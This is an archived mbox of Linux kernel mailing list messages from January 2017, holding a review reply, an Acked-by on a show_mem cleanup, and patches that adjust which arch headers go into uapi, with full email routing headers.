Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2006 gmane.linux.ports.mips.general:57453 gmane.linux.alsa.devel:163121 gmane.linux.ports.ia64:27591 gmane.linux.documentation:44285 gmane.comp.video.dri.devel:176185 gmane.linux.drivers.mtd:71309 gmane.linux.ports.sparc:24384 gmane.linux.kernel.cross-arch:34784 gmane.linux.drivers.rdma:45562 gmane.linux.ports.hexagon:1107 gmane.linux.ports.sh.devel:55024 gmane.linux.scsi.open-fcoe.devel:13011 gmane.linux.drivers.video-input-infrastructure:111882 gmane.linux.kbuild.devel:16302 gmane.linux.raid:55364 gmane.linux.kernel.metag:1230 gmane.linux.ports.arm.kernel:550222 gmane.linux.nfs:81430 gmane.linux.ports.parisc:27182 gmane.linux.network:449905 gmane.linux.kernel.mmc:42176 gmane.linux.kernel:2387035 gmane.linux.kernel.spi.devel:26099 gmane.comp.security.firewalls.netfilter.devel:66844 gmane.linux.ports.alpha:4031 gmane.linux.ports.ppc64.devel:137256
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2006>

On Thu, Jan 12, 2017 at 05:32:09PM +0100, Nicolas Dichtel wrote:
> What I was trying to say is that I export those directories like other are.
> Removing those files is not related to that series.

Perhaps the correct solution is to only copy files matching "*.h" to
reduce the risk of copying files incidentally created by kbuild but
which shouldn't be installed as uapi headers.

jeff

From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Xuetao Guan" <gxt@mprc.pku.edu.cn>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 3/4] arch, mm: remove arch specific show_mem
Date: Fri, 13 Jan 2017 10:49:46 +0800 (CST)
Lines: 41
Approved: news@gmane.org
Message-ID: <15923.175.43.247.167.1484275786.squirrel@mprc.pku.edu.cn>
References: <20170112131659.23058-1-mhocko@kernel.org>
    <20170112131659.23058-4-mhocko@kernel.org>
Reply-To: gxt@mprc.pku.edu.cn
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=gb2312
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484276208 5691 195.159.176.226 (13 Jan 2017 02:56:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 02:56:48 +0000 (UTC)
User-Agent: SquirrelMail/1.4.8-4.0.1.el5
Cc: linux-mm@kvack.org, "Andrew Morton" <akpm@linux-foundation.org>,
        "Johannes Weiner" <hannes@cmpxchg.org>, "Mel Gorman" <mgorman@suse.de>,
        "David Rientjes" <rientjes@google.com>,
        "Michal Hocko" <mhocko@suse.com>, "Tony Luck" <tony.luck@intel.com>,
        "Fenghua Yu" <fenghua.yu@intel.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        "Helge Deller" <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        "Chris Metcalf" <cmetcalf@mellanox.com>,
        "Guan Xuetao" <gxt@mprc.pku.edu.cn>, linux-ia64@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: "Michal Hocko" <mhocko@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Fri Jan 13 03:56:32 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cRs2Z-00005T-5H
	for glkm-linux-mm-2@m.gmane.org; Fri, 13 Jan 2017 03:56:31 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 574D76B0033; Thu, 12 Jan 2017 21:56:35 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 4FD7F6B0069; Thu, 12 Jan 2017 21:56:35 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3EC606B0253; Thu, 12 Jan 2017 21:56:35 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-io0-f199.google.com (mail-io0-f199.google.com [209.85.223.199])
	by kanga.kvack.org (Postfix) with ESMTP id 1C48F6B0033
	for <linux-mm@kvack.org>; Thu, 12 Jan 2017 21:56:35 -0500 (EST)
Original-Received: by mail-io0-f199.google.com with SMTP id q20so49380828ioi.0
        for <linux-mm@kvack.org>; Thu, 12 Jan 2017 18:56:35 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:message-id
         :in-reply-to:references:date:subject:from:to:cc:reply-to:user-agent
         :mime-version:content-transfer-encoding:importance;
        bh=TCD1jr4vyGZP/UpnHZiOB2ZEa9LTbWRUiKRNK/pWB8o=;
        b=iB/PZ1/tX0AtHC1PsngMfNJS1iwDjcdyke4NaTYXmfVelHHeYbcMdUhdCYC76Al4T9
         pRMAqZkdrp6nZFWbTO3bC1D8oSfyUG0hTVMsNRKwZKQFemzGSqqnTAVIyk6PWNvjjvPf
         krGw5C8SUFfSSamVQRGcruhxnGesi8CWDtcPa6DF0409Y/ywtoNdhjQh1AjfJFIUA457
         f1xfQuYZklnbRtej9qTeOA4uJoonsqb/xBrKCKzNNJ18hqLsj0lMOxqp034z8ubCDGVX
         G3zIgf9x4yZCQW813pFmGTSKr31Dqkvwy8sMgY6I16BMYS4PfK1NtEGDA+Fu8sMm5VRj
         FQNg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: best guess record for domain of gxt@mprc.pku.edu.cn designates 162.105.203.9 as permitted sender) smtp.mailfrom=gxt@mprc.pku.edu.cn
X-Gm-Message-State: AIkVDXJb8O6bIdL659/Db+R5yEfeDvsWikacUQ0v27EmUuuZtG5+qUmKbsVkCWarj02DzxWPbrPAYHy05j/Iss3VTqxK21I7ImykMMiMbf/ACEMlHEbB4OrdxPnsyJLJCbqJqfZ0hxKQy4cWq6k4uHxTUeQZ1V+wIYWzlPsv9IrH8uYJBXW8VaastWHV
X-Received: by 10.36.155.194 with SMTP id o185mr418535itd.71.1484276194928;
        Thu, 12 Jan 2017 18:56:34 -0800 (PST)
X-Received: by 10.36.155.194 with SMTP id o185mr418519itd.71.1484276194666;
        Thu, 12 Jan 2017 18:56:34 -0800 (PST)
Original-Received: from mprc.pku.edu.cn (mprc.pku.edu.cn. [162.105.203.9])
        by mx.google.com with ESMTPS id b141si9909074ioa.77.2017.01.12.18.56.31
        for <linux-mm@kvack.org>
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 12 Jan 2017 18:56:32 -0800 (PST)
Received-SPF: pass (google.com: best guess record for domain of gxt@mprc.pku.edu.cn designates 162.105.203.9 as permitted sender) client-ip=162.105.203.9;
Authentication-Results: mx.google.com;
       spf=pass (google.com: best guess record for domain of gxt@mprc.pku.edu.cn designates 162.105.203.9 as permitted sender) smtp.mailfrom=gxt@mprc.pku.edu.cn
Original-Received: from mprc.pku.edu.cn (localhost [127.0.0.1] (may be forged))
	by mprc.pku.edu.cn (8.13.8/8.13.8) with ESMTP id v0D2npID000731;
	Fri, 13 Jan 2017 10:49:51 +0800
Original-Received: (from apache@localhost)
	by mprc.pku.edu.cn (8.13.8/8.13.8/Submit) id v0D2nkOS000728;
	Fri, 13 Jan 2017 10:49:46 +0800
X-Authentication-Warning: mprc.pku.edu.cn: apache set sender to gxt@mprc.pku.edu.cn using -f
Original-Received: from 175.43.247.167
        (SquirrelMail authenticated user guanxuetao)
        by mprc.pku.edu.cn with HTTP;
        Fri, 13 Jan 2017 10:49:46 +0800 (CST)
In-Reply-To: <20170112131659.23058-4-mhocko@kernel.org>
X-Priority: 3 (Normal)
Importance: Normal
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:164331 gmane.linux.ports.ia64:27592 gmane.linux.ports.parisc:27183
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/164331>

> From: Michal Hocko <mhocko@suse.com>
>
> We have a generic implementation for quite some time already. If there
> is any arch specific information to be printed then we should add a
> callback called from the generic code rather than duplicate the whole
> show_mem. The current code has resulted in the code duplication and
> the output divergence which is both confusing and adds maintainance
> costs. Let's just get rid of this mess.
>
> Cc: Tony Luck <tony.luck@intel.com>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Chris Metcalf <cmetcalf@mellanox.com>
> Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: Michal Hocko <mhocko@suse.com>
> ---
>  arch/ia64/mm/init.c      | 48
> -----------------------------------------------
>  arch/parisc/mm/init.c    | 49
> ------------------------------------------------
>  arch/sparc/mm/init_32.c  | 11 -----------
>  arch/tile/mm/pgtable.c   | 45
> --------------------------------------------
>  arch/unicore32/mm/init.c | 44 -------------------------------------------
>  5 files changed, 197 deletions(-)

For UniCore32:
Acked-by: Guan Xuetao <gxt@mprc.pku.edu.cn>

Thanks.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: [PATCH v3 4/8] x86: stop exporting msr-index.h to userland
Date: Fri, 13 Jan 2017 11:46:42 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <1484304406-10820-5-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484304451 19592 195.159.176.226 (13 Jan 2017 10:47:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:47:31 +0000 (UTC)
Cc: mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.
To: arnd@arndb.de
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 13 11:47:20 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1cRzO6-0003Vh-Nv
	for glka-linux-arch@m.gmane.org; Fri, 13 Jan 2017 11:47:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751525AbdAMKrO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 13 Jan 2017 05:47:14 -0500
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]:48624 "EHLO
        proxy.6wind.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751442AbdAMKrL (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 13 Jan 2017 05:47:11 -0500
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
        by proxy.6wind.com (Postfix) with ESMTPS id 636F4256F5;
        Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
        (envelope-from <root@elsass.dev.6wind.com>)
        id 1cRzNl-0002q7-DH; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:34787 gmane.linux.kbuild.devel:16304 gmane.linux.documentation:44293 gmane.linux.kernel:2387309 gmane.linux.ports.alpha:4032 gmane.linux.kernel.arc:2008 gmane.linux.ports.arm.kernel:550312 gmane.linux.ports.hexagon:1109 gmane.linux.ports.ia64:27593 gmane.linux.kernel.metag:1232 gmane.linux.ports.mips.general:57457 gmane.linux.ports.parisc:27184 gmane.linux.ports.ppc64.devel:137265 gmane.linux.ports.sh.devel:55030 gmane.linux.ports.sparc:24386 gmane.comp.video.dri.devel:176215 gmane.linux.network:450002 gmane.linux.drivers.video-input-infrastructure:111893 gmane.linux.kernel.mmc:42204 gmane.comp.security.firewalls.netfilter.devel:66845 gmane.linux.nfs:81431 gmane.linux.raid:55371 gmane.linux.kernel.spi.devel:26102 gmane.linux.drivers.mtd:71319 gmane.linux.drivers.rdma:45568 gmane.linux.scsi.open-fcoe.devel:13014 gmane.linux.alsa.devel:163127
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/34787>

Suggested-by: Borislav Petkov <bp@alien8.de>
Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 arch/x86/include/uapi/asm/Kbuild | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/x86/include/uapi/asm/Kbuild b/arch/x86/include/uapi/asm/Kbuild
index 3dec769cadf7..1c532b3f18ea 100644
--- a/arch/x86/include/uapi/asm/Kbuild
+++ b/arch/x86/include/uapi/asm/Kbuild
@@ -27,7 +27,6 @@ header-y += ldt.h
 header-y += mce.h
 header-y += mman.h
 header-y += msgbuf.h
-header-y += msr-index.h
 header-y += msr.h
 header-y += mtrr.h
 header-y += param.h
-- 
2.8.1


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: [PATCH v3 1/8] arm: put types.h in uapi
Date: Fri, 13 Jan 2017 11:46:39 +0100
Lines: 105
Approved: news@gmane.org
Message-ID: <1484304406-10820-2-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484304451 19703 195.159.176.226 (13 Jan 2017 10:47:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:47:31 +0000 (UTC)
Cc: mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.
To: arnd@arndb.de
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jan 13 11:47:22 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1cRzO2-0003Vh-EM
	for glpm-linux-m68k@m.gmane.org; Fri, 13 Jan 2017 11:47:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751516AbdAMKrL (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 13 Jan 2017 05:47:11 -0500
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]:48671 "EHLO
        proxy.6wind.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751509AbdAMKrJ (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 13 Jan 2017 05:47:09 -0500
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
        by proxy.6wind.com (Postfix) with ESMTPS id 1DD88256B8;
        Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
        (envelope-from <root@elsass.dev.6wind.com>)
        id 1cRzNl-0002ps-AR; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9129 gmane.linux.kbuild.devel:16305 gmane.linux.documentation:44294 gmane.linux.kernel:2387310 gmane.linux.ports.alpha:4033 gmane.linux.kernel.arc:2009 gmane.linux.ports.arm.kernel:550313 gmane.linux.ports.hexagon:1110 gmane.linux.ports.ia64:27594 gmane.linux.kernel.metag:1233 gmane.linux.ports.mips.general:57458 gmane.linux.ports.parisc:27185 gmane.linux.ports.ppc64.devel:137266 gmane.linux.ports.sh.devel:55031 gmane.linux.ports.sparc:24387 gmane.linux.kernel.cross-arch:34788 gmane.comp.video.dri.devel:176216 gmane.linux.network:450003 gmane.linux.drivers.video-input-infrastructure:111894 gmane.linux.kernel.mmc:42205 gmane.comp.security.firewalls.netfilter.devel:66846 gmane.linux.nfs:81432 gmane.linux.raid:55372 gmane.linux.kernel.spi.devel:26103 gmane.linux.drivers.mtd:71320 gmane.linux.drivers.rdma:45569 gmane.linux.scsi.open-fcoe.devel:13015 gmane.linux.alsa.devel:163128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9129>

This header file is exported, thus move it to uapi.

Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 arch/arm/include/asm/types.h      | 40 ---------------------------------------
 arch/arm/include/uapi/asm/types.h | 40 +++++++++++++++++++++++++++++++++++++++
 2 files changed, 40 insertions(+), 40 deletions(-)
 delete mode 100644 arch/arm/include/asm/types.h
 create mode 100644 arch/arm/include/uapi/asm/types.h

diff --git a/arch/arm/include/asm/types.h b/arch/arm/include/asm/types.h
deleted file mode 100644
index a53cdb8f068c..000000000000
--- a/arch/arm/include/asm/types.h
+++ /dev/null
@@ -1,40 +0,0 @@
-#ifndef _ASM_TYPES_H
-#define _ASM_TYPES_H
-
-#include <asm-generic/int-ll64.h>
-
-/*
- * The C99 types uintXX_t that are usually defined in 'stdint.h' are not as
- * unambiguous on ARM as you would expect. For the types below, there is a
- * difference on ARM between GCC built for bare metal ARM, GCC built for glibc
- * and the kernel itself, which results in build errors if you try to build with
- * -ffreestanding and include 'stdint.h' (such as when you include 'arm_neon.h'
- * in order to use NEON intrinsics)
- *
- * As the typedefs for these types in 'stdint.h' are based on builtin defines
- * supplied by GCC, we can tweak these to align with the kernel's idea of those
- * types, so 'linux/types.h' and 'stdint.h' can be safely included from the same
- * source file (provided that -ffreestanding is used).
- *
- *                    int32_t         uint32_t               uintptr_t
- * bare metal GCC     long            unsigned long          unsigned int
- * glibc GCC          int             unsigned int           unsigned int
- * kernel             int             unsigned int           unsigned long
- */
-
-#ifdef __INT32_TYPE__
-#undef __INT32_TYPE__
-#define __INT32_TYPE__		int
-#endif
-
-#ifdef __UINT32_TYPE__
-#undef __UINT32_TYPE__
-#define __UINT32_TYPE__	unsigned int
-#endif
-
-#ifdef __UINTPTR_TYPE__
-#undef __UINTPTR_TYPE__
-#define __UINTPTR_TYPE__	unsigned long
-#endif
-
-#endif /* _ASM_TYPES_H */
diff --git a/arch/arm/include/uapi/asm/types.h b/arch/arm/include/uapi/asm/types.h
new file mode 100644
index 000000000000..9435a42f575e
--- /dev/null
+++ b/arch/arm/include/uapi/asm/types.h
@@ -0,0 +1,40 @@
+#ifndef _UAPI_ASM_TYPES_H
+#define _UAPI_ASM_TYPES_H
+
+#include <asm-generic/int-ll64.h>
+
+/*
+ * The C99 types uintXX_t that are usually defined in 'stdint.h' are not as
+ * unambiguous on ARM as you would expect. For the types below, there is a
+ * difference on ARM between GCC built for bare metal ARM, GCC built for glibc
+ * and the kernel itself, which results in build errors if you try to build with
+ * -ffreestanding and include 'stdint.h' (such as when you include 'arm_neon.h'
+ * in order to use NEON intrinsics)
+ *
+ * As the typedefs for these types in 'stdint.h' are based on builtin defines
+ * supplied by GCC, we can tweak these to align with the kernel's idea of those
+ * types, so 'linux/types.h' and 'stdint.h' can be safely included from the same
+ * source file (provided that -ffreestanding is used).
+ *
+ *                    int32_t         uint32_t               uintptr_t
+ * bare metal GCC     long            unsigned long          unsigned int
+ * glibc GCC          int             unsigned int           unsigned int
+ * kernel             int             unsigned int           unsigned long
+ */
+
+#ifdef __INT32_TYPE__
+#undef __INT32_TYPE__
+#define __INT32_TYPE__		int
+#endif
+
+#ifdef __UINT32_TYPE__
+#undef __UINT32_TYPE__
+#define __UINT32_TYPE__	unsigned int
+#endif
+
+#ifdef __UINTPTR_TYPE__
+#undef __UINTPTR_TYPE__
+#define __UINTPTR_TYPE__	unsigned long
+#endif
+
+#endif /* _UAPI_ASM_TYPES_H */
-- 
2.8.1


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: [PATCH v3 3/8] nios2: put setup.h in uapi
Date: Fri, 13 Jan 2017 11:46:41 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <1484304406-10820-4-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484304470 24730 195.159.176.226 (13 Jan 2017 10:47:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:47:50 +0000 (UTC)
Cc: mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.
To: arnd@arndb.de
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jan 13 11:47:40 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1cRzOG-0004aj-Lx
	for glpm-linux-m68k@m.gmane.org; Fri, 13 Jan 2017 11:47:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751582AbdAMKrW (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 13 Jan 2017 05:47:22 -0500
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]:48671 "EHLO
        proxy.6wind.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751518AbdAMKrN (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 13 Jan 2017 05:47:13 -0500
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
        by proxy.6wind.com (Postfix) with ESMTPS id BE82E2575E;
        Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
        (envelope-from <root@elsass.dev.6wind.com>)
        id 1cRzNl-0002q2-CW; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
